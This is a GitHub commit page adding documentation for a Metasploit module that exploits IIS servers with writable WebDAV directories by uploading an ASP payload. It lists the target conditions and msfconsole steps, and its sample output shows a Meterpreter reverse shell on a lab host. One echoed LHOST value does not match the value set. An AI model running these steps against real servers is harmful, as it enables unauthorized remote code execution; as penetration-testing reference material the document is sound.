Skip to content

Commit 6c44edc

Browse files
committed
Land rapid7#8180 docs for iis_webdav_upload_asp
2 parents 64c06a5 + a0ec93d commit 6c44edc

File tree

1 file changed

+49
-0
lines changed

1 file changed

+49
-0
lines changed
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
## Description
2+
3+
This module can be used to execute a payload on IIS servers that have world-writeable directories. The payload is uploaded as an ASP script via a WebDAV PUT request.
4+
5+
**IMPORTANT:** The target IIS machine must meet these conditions to be considered as exploitable:
6+
7+
1. It allows 'Script resource access'.
8+
2. It allows Read and Write permission.
9+
3. It supports ASP.
10+
11+
## WebDAV
12+
13+
Web Distributed Authoring and Versioning (WebDAV) is an extension of the Hypertext Transfer Protocol (HTTP) that allows clients to perform remote Web content authoring operations. WebDAV is defined in RFC 4918 by a working group of the Internet Engineering Task Force.
14+
15+
## Verification Steps
16+
17+
1. Do: ```use exploit/windows/iis/iis_webdav_upload_asp```
18+
2. Do: ```set payload windows/meterpreter/reverse_tcp```
19+
2. Do: ```set LHOST [IP]```
20+
3. Do: ```set RHOST [IP]```
21+
3. Do: ```set PATH / [PATH]```
22+
4. Do: ```run```
23+
24+
## Sample Output
25+
26+
```
27+
msf > use exploit/windows/iis/iis_webdav_upload_asp
28+
msf exploit(iis_webdav_upload_asp) > set payload windows/meterpreter/reverse_tcp
29+
payload => windows/meterpreter/reverse_tcp
30+
msf exploit(iis_webdav_upload_asp) > set RHOST 172.16.176.54
31+
RHOST => 172.16.176.54
32+
msf exploit(iis_webdav_upload_asp) > set LHOST 172.16.176.56
33+
LHOST => 172.16.176.54
34+
msf exploit(iis_webdav_upload_asp) > set path /upload/test.asp
35+
path => /upload/test.asp
36+
msf exploit(iis_webdav_upload_asp) > exploit
37+
38+
[*] Started reverse handler on 172.16.176.56:4444
39+
[*] Uploading 613830 bytes to /upload/test.txt...
40+
[*] Moving /upload/test.txt to /upload/test.asp...
41+
[*] Executing /upload/test.asp...
42+
[*] Sending stage (770048 bytes) to 172.16.176.54
43+
[*] Deleting /upload/test.asp, this doesn't always work...
44+
[!] Deletion failed on /upload/test.asp [403 Forbidden]
45+
46+
meterpreter > getuid
47+
Server username: JUAN-C0DE875735\IWAM_JUAN-C0DE875735
48+
meterpreter >
49+
```

0 commit comments

Comments
 (0)